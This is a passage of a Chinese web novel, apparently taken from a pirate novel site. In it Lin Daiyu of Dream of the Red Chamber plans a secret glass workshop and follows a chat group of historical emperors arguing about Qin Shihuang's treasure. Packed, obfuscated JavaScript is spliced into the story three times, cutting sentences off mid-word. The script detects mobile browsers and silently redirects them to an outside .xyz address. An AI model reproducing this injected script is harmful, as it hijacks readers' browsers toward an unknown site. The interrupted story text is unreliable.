【朱元璋】：对喽！那峨眉派掌门，要是早有这股子爽利劲儿，哪里会和元朝郡主，来来回回，各种误会，拉扯那么些年！ 【康熙】却出来规劝：【诸位稍安，她二人皆是女子之身。】 【汉武帝】立刻反驳：【女子又如何？情之所至，又何分男女？】 【唐太宗】打趣道：【刘彻，你今日倒比往日通透，莫不是有亲身体会？听闻你朝……英气逼人的年轻将领颇多。】 【汉武帝】：休得八卦！朕一向通透，只是尔等凡眼不识！ 黛玉瞧着这群九五之尊竟为了她的事吵嚷起来，不由得莞尔，梨涡里便盛满了笑意。 “林姐姐，又在笑些什么？”湘云一双眼，好奇地望着她。 “没什么。”黛玉敛了笑，伸手覆上她的手背，“明日的诗社，我准时过去。” “当真？”湘云的眼睛倏地亮了，好似夏日夜空中绚烂的烟火。 “自然是真。”黛玉颔首，“只一条，你须应允我，席上万不可多饮那杯中之物。” “好！都听姐姐的！” 湘云一个欢喜不禁，直起身子，扑过来将黛玉抱了个满怀。 那温热柔软的身子撞入怀中，黛玉整个人都僵住了，手脚不知该往何处安放。 “天外之音”已然语无伦次：【抱上了！竟抱上了！这是何等光景！我的天，这再往下，奴家可就不敢想了！】 水镜之中，更是齐刷刷一片惊叹。 【秦始皇】：！！！ 【汉武帝】：朕的眼！朕的眼！ 【唐太宗】：这……是否有些过于迅猛了？ 【朱元璋】：迅猛什么！咱看刚刚好！正该如此！ 【康熙】：朕以为，朕需要静一静。 黛玉伸手轻轻推开湘云，无奈摇头道：“你这猴儿，越发没了规矩了。” “嘿嘿，”湘云不好意思地挠了挠头，“我这不是心里头高兴嘛！” 她站起身，拍了拍衣裳：“既如此，我便先回去了，明儿咱们诗社见！” 望着她雀跃离去的背影，黛玉斜倚在门框上。 群里已是沸腾。 【汉武帝】：朕 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黛玉凝视着那一行霸气外露的字，若有所思。 三日后，潇湘馆中，光阴安静。 日光透过碧纱窗，将竿竿翠竹的影子，柔柔描在花砖上。瞧着疏疏落落，如水墨画一般，风来则影动，满室清寒。 林黛玉歪在紫檀罗汉床上，手中那卷《离骚》已半日未曾翻过一页。她指尖搭在书页边缘，眸光却散漫，心思早已飞出窗外。 案上新炖的秋子羹，甜香阵阵，白气袅袅，她全未看在眼里。 【宿主，那群里可开了锅了。有人提起始皇帝的家底，啧啧，这群万岁爷论起梯己来，比咱们园子里那些太太奶奶们还热闹十倍。】 黛玉眉毛微动，意念到处，那喧嚷的字句，便如开了闸的潮水，争先恐后涌入脑海。 【历代帝王聊天群】 明太祖：俺就问一句，@秦始皇，你那十二个铜疙瘩，到底藏哪儿了？别跟俺说不晓得，咱们都是马上得的天下，谁还不是个明白人？ 秦始皇嬴政：呵。朱重八，你一个濠州放牛的，也配探问朕的私库？ 明太祖：嘿！你这焚书的暴君，骂谁放牛的？俺好歹也是大明朝的开国太祖！你那些宝贝疙瘩埋在土里也是发霉，不如说出来，叫大伙儿都开开眼，长长见识。 汉武帝：说起家底，朕倒是对始皇陵寝里那水银江河、机巧日月更好奇。是真是假？朕当年也想弄一个，奈何卫青霍去病北击匈奴，把国库都快打空了。 则天大圣皇帝：你们男人家，眼里除了金就是银。依朕看，天下至宝，莫过那失传的经史子集原典。@秦始皇，你可别说，当真一把火烧了个干净？ 秦始皇：…… 唐太宗：哟，始皇兄怎的不言语了？这可不像你。往日里那句“朕德兼三皇，功盖五帝”不是常挂在嘴边的么？今日倒学起那锯了嘴的葫芦了？ 黛玉瞧着这些对话，素日里清冷的脸上，漾开笑意。她正预备继续隐着身形看这出好戏，冷不防群中跳出一条指名道姓的消息。 康熙：@林黛玉，林姑娘以为如何？以姑娘之灵慧，想必能洞察一二。 【哎呀，点名了呢。宿主，玄烨爷爷这是在考教你。可话说回来，他怎么事事都先问你？这心思……嘿嘿嘿。】 黛玉凤眼微眯：“系统，你再饶舌，可信我将你的灵核拆出来当弹珠顽？” 13.琉璃坊 黛玉正欲回复康熙，紫鹃已打起青绸软帘，步履略促。 “姑娘，扬州府里跟来的张嬷嬷求见。” 黛玉心头那些八卦繁杂的念头登时散了。 “快请进来。” 须臾，一个年过半百的妇人被引了进来，身上穿着一件半旧的元色褙子，头发梳得一丝不苟，见了黛玉，眼圈先自红了，俯身便要磕头。 黛玉连忙起身，虚扶一把。 “嬷嬷一路辛苦，不必行这样的大礼。紫鹃，把去岁洞庭君山的毛尖沏了来，给嬷嬷解乏。” 张嬷嬷谢了恩，只搭着半边椅子坐了，从怀里掏出个墨绿贡绸的包，双手递上。 “姑娘交代的事，都已妥当。随老奴来京城的那三十多户人家，都安置妥当了。他们都是林家几代的老人了，忠心得很。只是……” 她话语一顿，面露难色：“老奴想着，这般在京城里干坐吃山，终究不是长久之计。” 黛玉正拿修长优美的指尖捻着一颗琉璃珠，对着窗外日影把玩。那珠子通体清透，不见半分杂色。听了这话，她将珠子在黄花梨小几上轻轻一放。 “嬷嬷倒沉不住气了。人既来了京中，我自然有法子，叫他们过上比在扬州时好上十倍的日子。” 黛玉淡淡说，听不出喜怒。 张嬷嬷精神一振：“姑娘的意思是……那琉璃的方子？” 黛玉微微颔首。 【嘻嘻，穿越、重生、系统剧情里的经典套路了，做玻璃珠子、琉璃瓶子！朴素但好用，新手村最简单开局！】 “地契在此。”张嬷嬷赶忙将荷包里的文书取出。 “铺面是崇门外三进的大院子，后头带着窑厂，都依着姑娘的吩咐置办了。苏州那边的六个老师傅也请来了，都是祖上传下的手艺。” 张嬷嬷顿了顿，话语里添了些些忧虑。 “只是，师傅们听了，都当是天方夜谭。他们说，琉璃自古便是五光十色，哪里有清水一般的道理？还说，怕是姑娘听了哪里的奇谈，当不得真。” 黛玉闻言，绝美的脸上却漾开清浅笑意。她从手边缠丝玛瑙的荷包里，取出一个寸许高的小瓶，递过去。 “把这个给他们瞧瞧。” 张嬷嬷接在手里，对着光亮处细看，眼睛都直了。那瓶儿通体澄澈，恍若一段冬日凝固的净水，不见半分颜色。 “这、这是……” “方子我也写好了。”黛玉又递过一张折好的素笺。 “记住，这方子除了你我，不能有第三个人知道。采买料物，也得分开了人，各司其职，互不相干。若有人起了异心，泄露一字半句……” 她话未说完，张嬷嬷已跪倒在地：“姑娘放心，老奴就是拼了这条性命，也断不敢辜负姑娘的托付！” 【啧啧啧，现代的流水线工艺，并且隔绝每道工艺上面的手艺人，进行保密，也被宿主学了十成十。这个古代人智商拉满，完全不输现代人。】 黛玉这才将她扶起，言语却又转了。 “方子是好方子，可嬷嬷想过没有？咱们林家如今在京中，无权无势，单靠我一个女儿家撑着。这泼天的富贵，怕只怕会引来豺狼虎豹。” 张嬷嬷的心又提了起来：“姑娘说的是。这般肥肉，若无强人护着，只怕连骨头都剩不下。” 黛玉端起天青釉的茶盏，拿杯盖儿慢慢地撇着浮沫，动作优雅从容。 “所以，这生意，明面上，却是不能由我来做。” “那……” “须得寻两个最妥当的人，替我站在前头。” 张嬷嬷揣度着问：“姑娘心里，可是有了人选？” 黛玉放下茶盏，抬眼看她：“我且问你，这荣国府里，谁的算盘打得最精，最会理家揽事？” “那自然是琏二奶奶了。” “谁的身份又最便宜，上头老太太、太太们怜爱，底下人又敬服？” 张嬷嬷想了片刻，试探道：“可是蓉大奶奶？” 黛玉唇边的笑意深了些。“正是她们二人。” 张嬷嬷急了：“姑娘，这可是摇钱树！如何能平白分给旁人？” 黛玉又端起茶，优雅，慢条斯理地呷了一口，方才放下。 “我再问你，这琉璃坊若开张了，一月进项能有多少？” 张嬷嬷心里盘算一阵：“若是这清水琉璃果真能烧出来，又是独一份的买卖，运输也定下，可卖到京城周边，一个月少说也有三百两的纯利。” “错了。”黛玉伸出三根白玉般的手指。 “一千两。” 张嬷嬷的眼睛倏然睁大。 【嘻嘻，奢侈品就是如此暴利！自古以来便是如此。】 潇湘馆内，静日绵长。 黛玉安然坐在榻上，端详着紫鹃拿来的一盏薄如蝉翼、清透无纹的茶盏。 她不说话，任由张嬷嬷一点一滴地将这生意的来龙去脉想清楚。 【系统：宿主，您这悠闲品茶的模样，活脱脱就是个不问世事的神仙妃子。谁能想到您脑子里正盘算着商业大计呢。】 黛玉只作未闻：“嬷嬷可知，旧岁宫里进贡的那盏五色琉璃灯，内务府报的是何价钱？” 张嬷嬷听得问话，便躬身答道：“老奴隐约听人提过，似乎是……八百两白银？” “不错。”黛玉颔首，“我这清水琉璃，若制成摆件器物，价比那劳什子五色琉璃，何止十倍。” 她说着，将茶盏放回桌上，又命紫鹃从多宝格上取下一个黑漆小匣。 匣子打开，里面静静躺着几件首饰。一支盘丝簪，一对水滴耳坠，皆是无色琉璃所制，在窗下映出七彩华光，几乎要晃花人的眼。 “嬷嬷再瞧瞧这些。”黛玉修长的指尖轻轻拿起那支簪子，“这样的东西，若是送到凤姐姐跟前，你说她会不会动心？” 张嬷嬷只觉喉咙发干，一句话也说不出。 黛玉又从匣中取出一个巴掌大的琉璃瓶，瓶身剔透，隐约能见里头的液体。 “这里头盛的，是西洋蔷薇水，依着新得的方子调配的。单这瓶子并里头的香水，一瓶便值五十两。嬷嬷想想看，可卿姐姐那样爱香的人，见了可会喜欢？” 【系统：何止是喜欢，秦可卿怕是想抱着瓶子睡。王熙凤更是恨不得当场抱着你亲一大口。】 张嬷嬷眼前金银乱晃，心口直跳。 黛玉将那茶盏的盖子轻轻合上。 “这便是头一桩。”她看向张嬷嬷，心绪沉静。 “现在，我问嬷嬷第二桩事：一个客居外祖家的孤女，骤然得了这泼天的富贵，旁人会如何看，又会如何做？” 张嬷嬷脸上血色褪尽：“这……只怕是要招祸的。” “正是。匹夫无罪，怀璧其罪。”黛玉眯眯眼，慢条斯理地理了理袖口。 “那么，若是琏二嫂子和蓉大奶奶都入了股，这京城里，还有谁敢动这门生意？” 张嬷嬷听到此处，心中一亮，旋即又是一沉，不免忧道。 “姑娘所虑极是。要办这琉璃坊，无论是采买洋料，还是寻觅铺面，再到招揽巧匠，桩桩件件，皆非寻常人家可为。琏二奶奶如今掌着家，府里的人事财权，哪一样不经她的手？此事托付于她，自然是稳妥的。只是……” 她略一停顿，将声音压得更低了些：“凤奶奶是何等样人，向来是‘无利不起早，无事不登三宝殿’的。这样一座金山摆在眼前，她岂肯甘心为姑娘做嫁衣？” “做嫁衣？我给她的，是她梦里也求不来的登天梯。” “凤姐姐爱财，更好强。我许她三成干股，琉璃坊从采买到发卖，一应俗务，皆由她一人说了算。如此，在外头，她是风光无限的东家奶奶；在里子，又有白花花的银子填补她那些亏空和私房体己。嬷嬷且说，这样的香饵，她吞是不吞？” 【系统：三成干股？只怕王熙凤立时就要抱着你亲一大口了。】 张嬷嬷倒吸一口凉气。三成！这手笔未免也太大了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277494|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她定了定神，又追问：“那……蓉大奶奶呢？” 黛玉的目光飘向窗外，越过重重院墙，落在了宁府的方向。 张嬷嬷到底是满腹疑云。秦可卿在府里虽人人称赞一声“妥当”，到底身子骨弱，又是宁府那边的人。 黛玉似是看透了她的心思，慢慢道：“嬷嬷看偏了。凤姐姐行事爽利，泼辣能干，能压得住场面，却也因这性子，明里暗里树敌不少。凡事过刚则易折。咱们这桩生意，还需有人居中调和。” “阖府上下，谁不赞可卿姐姐一个‘好’字？她生得袅娜，心思又细，行事更是周全。论起在各府女眷间的体面，便是凤姐姐也要让她三分。” 张嬷嬷恍然大悟。只听黛玉继续说。 “这琉璃器物，做的原就是公侯府第、富贵人家的生意。由她出面走动，在内帏之中递个话，送个礼，远比凤姐姐在外头硬碰硬便宜得多。” 黛玉端起茶盏，拿杯盖慢慢撇着浮沫，声音愈发轻了。 “何况，宁府那池水，深得不见底。可卿姐姐瞧着风光，实则如履薄冰。我今日拉她一把，是给她一条生路，亦是为咱们林家，在宁府里埋下一枚活棋。” 张嬷嬷只觉后心窜上一股凉意。眼前这位姑娘，哪里是什么愁绪满怀的病西施，分明是运筹帷幄的将帅之才。 这哪里是做生意，这分明是以东西贾府为棋局，人心作棋子，布下了一张天罗地网。 不愧是老爷，当今圣上钦点的探花的唯一嫡女。 想到英年早逝的林如海，张嬷嬷心中不禁一阵悲痛。 “咱西府的凤奶奶主外，掌人财物用；东府蓉大奶奶主内，通人情世故。一刚一柔，一明一暗，这琉璃坊才能真正固若金汤。” 张嬷嬷被这一席话惊得愣在原地，半日才颤巍巍地问：“姑娘深谋远虑，老奴拜服。只是……姑娘方才说有三桩，这才说了一、二，那第三桩是……” 黛玉将匣子轻轻合上，复又拿起那枚琉璃珠，置于掌心，她抬起眼，眸中清亮。 “这第三桩，才是最要紧的。” “凤姐姐与可卿姐姐得了这天大的好处，名利双收，自然要将这琉璃坊视作心肝宝贝，护得风雨不透。” “如此一来……明面上，这琉璃坊是她们的。坊兴旺了，人人称颂的是琏二奶奶手段了得，蓉大奶奶人脉广博。若真有个万一，出了纰漏，或是遭人眼红构陷，担干系的也是她们二人。” “而我林黛玉，林家孤女，从始至终，不过是住在潇湘馆里，给姐姐们寻了一张海外方子的病弱妹妹罢了。我的手，何曾沾过半分尘埃？” 话音落下，满园悄然，唯闻风过竹梢，簌簌作响。 张嬷嬷呆立当场，后背已是一片湿凉。她望着眼前这位容色绝艳、眉梢眼角尚存病气的少女，头一回生出一种发自肺腑的敬畏。 这哪里是弱不禁风的孤女？ 这分明是谈笑之间，便能决胜于千里之外。 张嬷嬷心中又悲伤起来，若是小姐生为男子，考功名，做御史，入内阁不在话下。 这几代列侯的林家，又岂会如今落到走的走，散的散，唯有忠心的几十户人来京城投奔的景象。 黛玉将张嬷嬷的神情尽收眼底，轻轻笑了。她站起身，拢了拢袖口。 “嬷嬷，你知道该如何做了。”又转身朝紫鹃吩咐。 “紫鹃，明日你亲自去请琏二奶奶和蓉大奶奶，就说潇湘馆的竹子发了新笋，我得了上好的嫩笋，请两位姐姐过来尝尝鲜。” 张嬷嬷与紫鹃齐齐躬身应下，脚步沉稳地退了出去。 黛玉独自立于廊檐下，仰首望着天边闲云，淡淡笑了。 王熙凤，秦可卿。 金陵十二钗中，一个机关算尽，一个命途多舛。 当这份泼天富贵从天而降，她们面上，又该是何等神情？ 【宿主，别美了！快看看群里，为秦始皇那点儿破烂宝藏，已经吵了九百九十九条了！】 14.秦始皇宝藏，v我50 窗外绿树叶展，屋内静悄无人，唯有紫檀小几上一碗莲子羹，早已失了热气。 黛玉并未理会，一双妙目只凝在那方寸水镜之上。 水镜里，正是那历代帝王群议论得热火朝天。 但见一条赤金游龙腾空，散作漫天花雨，上书“天宫舆图”四字。 【汉武帝】：朕竟得了头筹！咦？这是何物？一角舆图残片？ 【唐太宗】：朕手中亦然，不过是另一角罢了。始皇兄此举，是何用意？ 【则天大圣皇帝】：倒有几分意思。朕这片舆图上，恰好描着个“骊”字。 【明太祖】：俺的更奇，画着一尊古鼎。始皇老哥，莫不是叫俺们合伙去寻什么宝贝？ 【康熙】：朱兄此言不差。观此七星罗列之势，诸位若将手中残片合于一处，怕就是一幅舆图宝鉴了。 【秦始皇】：诸君慧眼。朕当年确然埋下些玩物，只不知千载之下，是否还存于世。 此言一出，群中顿时鼎沸，好似一勺冷水泼进了滚油锅。 【汉武帝】：甚么？那些传闻竟是真的？始皇兄，你当真藏了宝？ 【唐太宗】：朕素来只当是前朝野史里的荒唐言，未曾想…… 【则天大圣皇帝】：@秦始皇敢问陛下，此宝，莫非就是那象征九州社稷的始皇九鼎？ 【秦始皇】：九鼎仅是其一。朕当年巡游六合，天下之大，奇珍异宝过眼无数。长生之药终是虚妄，然稀世之珍，朕确实得了几件。 【明太祖】：俺就晓得！想当年俺着人险些将那骊山翻了个底朝天，也未寻得半点踪迹，闹了半日，原来是门路不对！ 【康熙】：听朱兄这口气，倒像是亲自扛着锄头去掘过似的。 【明太祖】：咳，咳。俺不过随口一说，打个比方。 黛玉瞧着群中你一言我一语，心中那点笑意再也藏不住。这些平日里口含天宪、威加四海的九五之尊，才沾了个“宝藏”的边儿，便一个个好奇心起，急不可耐。 【宿主不去凑个趣儿？我看这几位聊得投机，就差抵足而眠，共商大计了。】脑中那声音又开始不安分。 “急什么？”黛玉终于舍得将目光从水镜上挪开，端起那碗早已温凉的莲子羹。她手持银匙，在浮着几粒桂花的汤水中，轻轻地划着圈。 “且由着他们将这戏台子搭起来，戏文唱得越高，才越有看头。” 果不出她所料，群中的议论已是烈火烹油，愈演愈烈。 【汉武帝】：始皇兄，你这残片可做得了准？朕为求长生耗尽半生心血，你可莫要告诉朕，你当真寻到了那不死之方！ 【秦始皇】：长生不死，原是痴人说梦。但朕确有几张延年益寿的方子。此外，还有些……格外别致的物件。 【则天大圣皇帝】：何为别致？愿闻其详。 【秦始皇】：譬如，有能令人于梦中同上古先贤清谈的香料；有能推演周天星斗、预测四时灾异的仪器；还有…… 【唐太宗】：还有何物？始皇兄莫要再卖关子，真真急煞个人！ 【秦始皇】：还有一面宝镜，能照见人之三生，洞悉过去未来。 这话一出，群中忽地寂静，连最爱说笑的明太祖都失了言语。 【康熙】：这……听来倒像是方士们的无稽之谈。 【秦始皇】：朕初得此物时，亦作如是想。直到朕亲身一试。 【明太祖】：那始皇老哥，你在镜子里头，究竟瞧见了啥？ 【秦始皇】：天机。 【汉武帝】：……你这不是存心吊人胃口么！ 喧嚣至此，恰是火候。黛玉这才伸出纤纤玉指，在水镜上轻轻一点。 【林黛玉】：诸位陛下圣安。瞧这番热闹，小女子倒是有一惑，不知当问不当问。 【则天大圣皇帝】：妹妹来了！快来瞧瞧，始皇帝这藏宝图，着实有趣。 【林黛玉】：早已拜见了。小女子斗胆猜测，这舆图残片拼于一处，所指的，恐怕不止一处地点罢？ 【秦始皇】：哦？小友此言何意？ 【林黛玉】：始皇陛下一统六合，平生最重“六”数。车同轨，书同文，乃至于度量衡，处处可见其妙。这六块残片，想来便是对应六国故土。一处故地，一处秘藏。然则那真正的无上之宝，怕是需集齐六处信物，才能窥其全貌。小女子此言，可有错谬？ 群中霎时安静。这安静与方才不同，游弋着惊叹，盘旋着审度。 【秦始皇】：……小友，目光如炬。 这五个字一出，群中顿时炸开了锅。 【汉武帝】：！！！六处！竟有六处！朕还当只有一处！ 【唐太宗】：妙极，当真妙极！此等环环相扣的心思，非始皇兄不能有！ 【明太祖】：俺就说嘛！一个坑如何埋得下始皇老哥那许多好东西！ 【宿主真乃仙人！只是，宿主是如何猜到的？】脑海中那声音急切问道。 黛玉唇边笑意渐深：“始皇帝的为人，我难道不知？他生平最爱‘制衡’二字。将一份宝藏拆作六份，既能防着有心人一网打尽，又能借此考量寻宝者的心性才智，一举两得，他何乐不为？” 【言之成理。不过话又说回来，宿主对这泼天的富贵，当真就不动心？】 “我动什么心？”黛玉抬眼，斜斜瞥了窗外。 “我一个大门不出二门不迈的闺阁女子，莫非还要学那朱皇帝，扛着锄头去骊山刨土不成？” 正调笑间，群里来了消息。 【则天大圣皇帝 武瞾】：@林黛玉妹妹既已看破玄机，不知可有兴致，与朕一同参详参详？ 【林黛玉】：多谢姐姐抬爱。只是小女子人微言轻，恐难帮衬。 【则天大圣皇帝 武瞾】：妹妹过谦了。你的智慧，朕心甚悦。 【汉武帝】：朕亦觉林小友见识不凡。不若众人一同参研？ 【康熙】：附议。众人拾柴，总好过一人独行。 【秦始皇】：诸君既有此意，朕便再多言几句。这六处宝藏，皆设有守护机关。而破解之法，需…… 【唐太宗】：需要何物？ 【秦始皇】：需洞悉“天地人和”之道。 【明太祖】：这说了岂非等于没说！啥叫天地人和？俺老朱只懂快意恩仇！ 黛玉凝视群中争论，若有所思。 “天地人和……”她低声自语，“天时，地利，人和？不对，始皇帝的心思，断不会如此浅显。” 【宿主可是想到了什么？】 “我在想，若真有这等惊天宝藏，始皇帝为何要在群中公之于众？” 【对啊！此事不合常理！】 “除非……”黛玉笑意深了起来，“他别有图谋。” 心念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288796|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电转间，一则私信的提示音响起。 【则天大圣皇帝 武瞾】：妹妹，朕有些话，想与你单独一叙。 【林黛玉】：姐姐请讲。 【则天大圣皇帝 武瞾】：你以为，始皇帝这宝藏之说，是真是假？ 【林黛玉】：姐姐有此一问，想必心中已有论断？ 【则天大圣皇帝 武瞾】：朕只是觉得，始皇帝今日言行反常。他素日最是寡言，今日却主动挑起宝藏的话头。 【林黛玉】：姐姐所虑极是。依小女子浅见，始皇陛下此举，恐怕是在试探。 【则天大圣皇帝 武瞾】：试探何事？ 【林黛玉】：试探群中诸位的反应。说得再明白些……是试探是否有人，曾对他的宝藏动过心思。 【则天大圣皇帝 武瞾】：妹妹的意思是？ 【林黛玉】：姐姐可还记得，方才朱元璋陛下失言提及之事？ 武则天那边，沉默了片刻。 【则天大圣皇帝 武瞾】：你是说，他曾遣人寻过龙脉？ 【林黛玉】：正是。若始皇陛下的宝藏与龙脉有关，那今日这场试探，便处处说得通了。宝藏不过是身外之物，然而这龙脉却影响到天朝千万年的国祚。 【则天大圣皇帝 武瞾】：妹妹真是冰雪聪明。朕竟未想到此节。 【林黛玉】：姐姐谬赞。小女子不过是爱胡思乱想罢了。 两人正叙话，群中忽地又跳出一条消息，赫然是始皇帝所发。 【秦始皇】：诸君，朕方才观览天象，七日之内，将有“七星连珠”之异。此乃开启第一处宝藏的绝佳时机。 【汉武帝】：七星连珠？竟有这等巧事？ 【唐太宗】：始皇兄，你不是在说笑吧？ 潇湘馆内，翠竹千竿，风动，叶响，一室安静。 林黛玉斜签倚着一方鹤纹引枕，目光落在虚空中的帝王闲话。 【秦始皇】：朕，从不说笑。错过此番天时，下次，便要再等一个甲子。 【宿主，听听，听听这口气！我怎么闻着一股子画大饼的味道？这事儿是越来越离谱了，在我们那21世纪，活脱脱的就是“我是秦始皇v我50”的节奏啊。】 “离谱？”黛玉眯眯眼。 虽她不知系统21世纪的那个笑话，但眼前这个人，确实是秦始皇。 “离谱，方才好玩。”她淡淡一笑。 【我的老天，您不会真动了寻宝的心思吧？就您这身子，虽说用了我的强身健体之法，但是设定依然是闺阁小姐，别说骊山了，走到大门口都得喘三喘。人设！注意人设！】 黛玉舒展了一下身子，语声清淡：“我倒是想。只恨身在闺阁，规矩颇多，动弹不得。” 这声儿里，哪有半分自伤自怜。只听得出满腔的抱负。 “而且，要让这始皇帝心甘情愿给出真真儿的线索，怕还要群里好奇的众陛下们，磨些时日才可。” 话音未落，帘外紫鹃的声音传进来：“姑娘，史大姑娘来了。” 黛玉眼波一转，吩咐道：“快请。” 帘笼高卷，只见一个丽人已旋风般转了进来。裙角飞扬，发丝微乱，两颊是奔跑后才有的胭脂色。不是史湘云，又是哪个？ “好姐姐！”湘云一进来，便直扑到黛玉身边坐下。 “你道我方才，听见了什么天大的新闻？” 15.西洋人士 黛玉亲手为她斟了一盏新烹的雨花茶，看她那副急切又欢喜的模样，不由笑起来。 “瞧你这脸红扑扑的，脚下带着风，可是听见了什么能叫地动山摇的趣事？” “可不是！”湘云接过茶盏，也顾不得烫，先呷了一口，这才压低了声音，神神秘秘道。 “我从老太太屋里过，听见几个婆子凑着头嚼舌根，说如今京中好些个国公侯府，都悄悄地请了钦天监左近的先生，说要卜算什么‘七星连珠’的吉凶！” 黛玉端着茶盏的手，顿了一下。水面微漾，映照碎了窗外一角竹影。 【！！！我勒个去！这剧本是谁写的？说曹操曹操到啊！】 “哦？”黛玉垂下眼，口中却问得平淡，“可说清了是为何故？” “这便到了最要紧处！”湘云声音又低了几分。 “外头传得有鼻子有眼，说千百年前便有个谶语，七星汇聚之日，骊山必有宝光冲天。如今人人都说，那是始皇帝的宝藏要重见天日了！” 黛玉：“……” 【宿主，这事不对劲。这消息的传播速度，比得上五百里加急了。背后必有推手！】 黛玉心中暗应：何止不对劲 “林姐姐？”湘云见她出神，伸出秀气的指头在她眼前晃了晃，“你想什么呢？” “没什么。”黛玉回过神，眼波流转，已是笑意盈盈。 “不过是想，这传说倒也新奇，比那些才子佳人的戏本子有嚼头。” “就是说嘛！”湘云一拍手，眼睛晶亮，“好姐姐，你快说，这世上当真有那样的宝藏不成？” 黛玉正欲开口，那水镜之中，又是一阵喧哗…… 【明太祖】：各位，俺老朱刚得了信儿，底下几个州府都在传始皇宝藏的事。这是咋回事？ 【康熙】：朕亦接到密折，言辞凿凿，说得活灵活现。 【汉武帝】：且慢！此事传得未免太快了些！你我方才不过群里议论罢了，怎的就闹得天下皆知？ 【唐太宗】：呵呵，始皇兄，这莫不是你老人家自己放出去的风声罢？ 【秦始皇】：…… 【则天大圣皇帝】：看来，局中尚有不明之人。 黛玉看着这一行行字，心底已然落下一子。 她转过脸，一双秋水眼定定地看着湘云。 “云妹妹，”她唤了一声，声音又轻又软，“你可愿随我去瞧一瞧那七星连珠的奇景？” 湘云先是一怔，随即一张脸都亮了起来，不敢置信地问：“姐姐是说真的？咱们……能去看？” “如何不能？”黛玉眼尾轻轻一挑。 “左右不过是寻个高处，赏一回天象罢了。难道，妹妹还真信了那些无稽的宝藏之说不成？” 【宿主，您这是要亲自下场，去会会那个幕后黑手？】 黛玉在心中回道：既然有人搭好了台子，请好了看客，我若是不去凑个热闹，岂非辜负了这番盛情？我倒要亲眼看看，究竟是何方神圣，在背后搅弄这满城风雨。 几日后，窗外，风过竹梢，将一院清凉送入屋内。 黛玉端起桌上的茶盏，将那盏尚温的雨花茶，一饮而尽。 紫鹃捧着一盏冰糖燕窝，脚步轻悄，刚要劝姑娘用了，却见她唇角忽地弯起，那笑，瞧着颇为腹黑。 【宿主这笑意，活脱脱是只刚叼了鱼的馋猫。】 脑海中那系统声音清脆，又带着惯有的揶揄。 黛玉睫毛动也不动，只在心中回道：“我若是猫，你便是那终日在屋檐下聒噪不休的燕子。” 她正出神，意识深处，那方虚拟的水镜却自己亮了起来。上头正是“历代帝王聊天群”几个龙飞凤凤舞的大字。 【秦始皇】：朕筑长城，御匈奴，尔等祖宗尚在田间为朕纳粮！ 【汉武帝】：呵，一个焚书坑儒的匹夫，也敢在此饶舌？朕驱卫霍，封狼居胥，功绩何在，天下自有公论。 【唐太宗】：二位圣君暂息雷霆之怒。今日怕不是，将有大事发生。 【武则天】：男子汉大丈夫，气量竟如此狭小。@康熙，你那个西洋来的温明望，本事如何？ 【康熙】：回则天圣祖，北怀德技艺更精。近闻西洋又有利玛莎后人欲来我大清……罢了，朕多言了。 黛玉眼神一凝。利玛莎的后人？这架空的时空里，竟有这般精准的消息。 说曹操，曹操就到。外头忽地人声鼎沸，似有几分喧哗。 紫鹃机敏，忙转身出去探看，不多时便疾步而回：“姑娘，可了不得了！听说京中来了个西洋来的传教士，现下正在理藩院递帖子，说是要面圣！” 黛玉纤眉一挑：“西洋传教士？” 【叮！检测到重要剧情节点。历代帝王聊天群已激活讨论模式。】 念头方动，眼前的光屏便刷刷地滚动起来。 【千古一帝】：传教士？哼，此等化外蛮夷，妖言惑众，朕当年便该将他们与那些方士一并坑了！ 【汉武大帝】：始皇此言，甚合朕意。然，西域来的胡僧朕见过，这西洋来的……倒有几分新奇。 【贞观长歌】：朕以为，来者是客。昔日玄奘法师西行万里，亦是一桩佳话。 【则天女皇】：太宗皇帝说得轻巧。玄奘过西方陆地路途，利的是万民。这些西洋人自海上来，通的是茫茫大海路，挟何种居心，天知地知，你知我知么？ 【康熙大帝】：咳，容晚辈禀奏诸位先祖。朕在位时，朝中确有数位传教士，于天文历法、火器制造上，颇有建树。只是…… 【千古一帝】：只是什么？吞吞吐吐，全无帝王气概！ 【康熙大帝】：只是后来酿成‘礼仪之争’，欲干预国政。 黛玉默看着群中诸帝的争论，眯眯眼。 【宿主凝神思忖的模样，真是风华绝代。只是不知，这心里又在谋划哪一出惊天动地的大戏了。】 “西洋传教士入京，绝非小事。”黛玉起身，缓步踱至窗前，望着庭中滴翠的翠竹。 “此人敢如此大张旗鼓，必有倚仗。要么，是得了朝中某位大员的默许；要么……” 【要么是个初生牛犊不怕虎的愣头青？】 “要么，是项庄舞剑，意在沛公。”黛玉眸中灵光一闪。 “紫鹃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288797|181441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 